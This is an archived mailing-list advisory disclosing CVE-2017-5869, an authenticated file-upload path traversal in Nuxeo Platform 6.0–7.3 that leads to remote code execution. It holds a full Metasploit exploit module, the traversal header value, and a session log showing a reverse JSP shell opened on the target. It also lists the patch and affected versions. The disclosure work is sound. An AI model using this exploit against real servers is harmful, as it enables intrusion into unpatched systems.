Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 23 Mar 2017 16:39:20 +0100
From: Sydream Labs <labs@...dream.com>
To: fulldisclosure@...lists.org, oss-security@...ts.openwall.com
Cc: cve@...re.org
Subject: [CVE-2017-5869] Nuxeo Platform remote code execution

# Description

Nuxeo Platform is a content management system for enterprises (CMS).
It embeds an Apache Tomcat server, and can be managed through a web
interface.

One of its features allows authenticated users to import files to the
platform.
By crafting the upload request with a specific ``X-File-Name`` header,
one can successfuly upload a file at an arbitrary location of the server
file system.

It is then possible to upload a JSP script to the root directory of the
web application to execute commands on the remote host operating system.
Setting the value ``../../nxserver/nuxeo.war/shell.jsp`` to the
``X-File-Name`` header is a way to do so.

## Details

**CVE ID**: CVE-2017-5869

**Access Vector**: network

**Security Risk**: high

**Vulnerability**: CWE-434

**CVSS Base Score**: 8.8

**CVSS Vector**: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

# Proof of Concept

Here is a metasploit module to exploit this vulnerability:

```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info={})
        super(update_info(info,
            'Name'              => "Nuxeo Platform File Upload RCE",
            'Description'       => %q{
                The Nuxeo Platform tool is vulnerable to an
authenticated remote code execution,
                thanks to an upload module.
            },
            'License'           => MSF_LICENSE,
            'Author'            => ['Ronan Kervella
<r.kervella@...dream.com>'],
            'References'        =>
                [
                    ['https://nuxeo.com/', '']
                ],
            'Platform'          => %w{linux},
            'Targets'           => [ ['Nuxeo Platform 6.0 to 7.3',
'Platform' => 'linux'] ],
            'Arch'              => ARCH_JAVA,
            'Privileged'        => true,
            'Payload'           => {},
            'DisclosureDate'    => "",
            'DefaultTarget'     => 0))
        register_options(
            [
                OptString.new('TARGETURI', [true, 'The path to the nuxeo
application', '/nuxeo']),
                OptString.new('USERNAME', [true, 'A valid username', '']),
                OptString.new('PASSWORD', [true, 'Password linked to the
username', ''])
            ], self.class)
    end

    def jsp_filename
        @jsp_filename ||= Rex::Text::rand_text_alpha(8) + '.jsp'
    end

    def jsp_path
        'nxserver/nuxeo.war/' + jsp_filename
    end

    def nuxeo_login
        res = send_request_cgi(
            'method' => 'GET',
            'uri'    => normalize_uri(target_uri.path, '/login.jsp')
        )

        fail_with(Failure::Unreachable, 'No response received from the
target.') unless res
        session_cookie = res.get_cookies

        res = send_request_cgi(
            'method'    => 'POST',
            'uri'       => normalize_uri(target_uri.path,
'/nxstartup.faces'),
            'cookie'    => session_cookie,
            'vars_post' => {
                'user_name'     => datastore['USERNAME'],
                'user_password' => datastore['PASSWORD'],
                'submit'        => 'Connexion'
            }
        )
        return session_cookie if res && res.code == 302 &&
res.redirection.to_s.include?('view_home.faces')
        nil
    end

    def trigger_shell
        res = send_request_cgi(
            'method'    => 'GET',
            'uri'       => normalize_uri(target_uri.path, jsp_filename)
        )
        fail_with(Failure::Unknown, 'Unable to get
#{full_uri}/#{jsp_filename}') unless res && res.code == 200
    end

    def exploit
        print_status("Authenticating using
#{datastore['USERNAME']}:#{datastore['PASSWORD']}")
        session_cookie = nuxeo_login
        if session_cookie
            payload_url = normalize_uri(target_uri.path, jsp_filename)
            res = send_request_cgi(
                'method'    => 'POST',
                'uri'       => normalize_uri(target_uri.path,
'/site/automation/batch/upload'),
                'cookie'    => session_cookie,
                'headers'    => {
                    'X-File-Name'   => '../../' + jsp_path,
                    'X-Batch-Id'    => '00',
                    'X-File-Size'   => '1024',
                    'X-File-Type'   => '',
                    'X-File-Idx'    => '0',
                    'X-Requested-With'  => 'XMLHttpRequest'
                },
                'ctype'             => '',
                'data' => payload.encoded
            )
            fail_with(Failure::Unknown, 'Unable to upload the payload')
unless res && res.code == 200
            print_status("Executing the payload at
#{normalize_uri(target_uri.path, payload_url)}.")
            trigger_shell
        else
            fail_with(Failure::Unknown, 'Unable to login')
        end
    end

end
```

Module output:

```bash
msf> use exploit/multi/http/nuxeo
msf exploit(nuxeo) > set USERNAME user1
USERNAME => user1
msf exploit(nuxeo) > set PASSWORD password
PASSWORD => password
msf exploit(nuxeo) > set rhost 192.168.253.132
rhost => 192.168.253.132
msf exploit(nuxeo) > set payload java/jsp_shell_reverse_tcp
payload => java/jsp_shell_reverse_tcp
msf exploit(nuxeo) > set lhost 192.168.253.1
lhost => 192.168.253.1
msf exploit(nuxeo) > exploit

[-] Handler failed to bind to 192.168.253.1:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Authenticating using user1:password
[*] Executing the payload at /nuxeo/nuxeo/QBCefwxQ.jsp.
[*] Command shell session 1 opened (172.17.0.2:4444 ->
192.168.253.132:43279) at 2017-01-13 14:47:25 +0000

id
uid=1000(nuxeo) gid=1000(nuxeo)
groups=1000(nuxeo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare)
pwd
/var/lib/nuxeo/server
```

# Vulnerable code

The vulnerable code is located in the
`org.nuxeo.ecm.restapi.server.jaxrs.BatchUploadObject` class ([github
link](https://github.com/nuxeo/nuxeo/blob/b05dde789a6c0c7b5f361608eb6d6bd0fda31f36/nuxeo-features/rest-api/nuxeo-rest-api-server/src/main/java/org/nuxeo/ecm/restapi/server/jaxrs/BatchUploadObject.java#L150)),
where the header ``X-File-Name`` is not checked.

# Fix

Nuxeo provided a
[patch](https://github.com/nuxeo/nuxeo/commit/6b3113977ef6c2307f940849a2c196621ebf1892)
for this issue.
A hotfix release is also available for Nuxeo 6.0 (Nuxeo 6.0 HF35).

Please note that vulnerability does not affect Nuxeo versions above 7.3.

# Affected versions

* Nuxeo 6.0 (LTS 2014), released 2014-11-06
* Nuxeo 7.1 (Fast Track, obsoleted by Nuxeo 7.10), released 2015-01-15
* Nuxeo 7.2 (Fast Track, obsoleted by Nuxeo 7.10), released 2015-03-24
* Nuxeo 7.3 (Fast Track, obsoleted by Nuxeo 7.10), released 2015-06-24

# Unaffected versions

* Nuxeo 6.0 HF35, released 2017-01-12
* Nuxeo 7.4 (Fast Track, obsoleted by Nuxeo 7.10), released 2015-10-02
* Nuxeo 7.10 (LTS 2015), released 2015-11-09
* Nuxeo 8.10 (LTS 2016), released 2016-12-06

# Credits

Ronan Kervella <r.kervella@...dream.com>

-- 
SYSDREAM Labs <labs@...dream.com>

GPG :
47D1 E124 C43E F992 2A2E
1551 8EB4 8CD9 D5B2 59A1

* Website: https://sysdream.com/
* Twitter: @sysdream



Download attachment "signature.asc" of type "application/pgp-signature" (848 bytes)

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.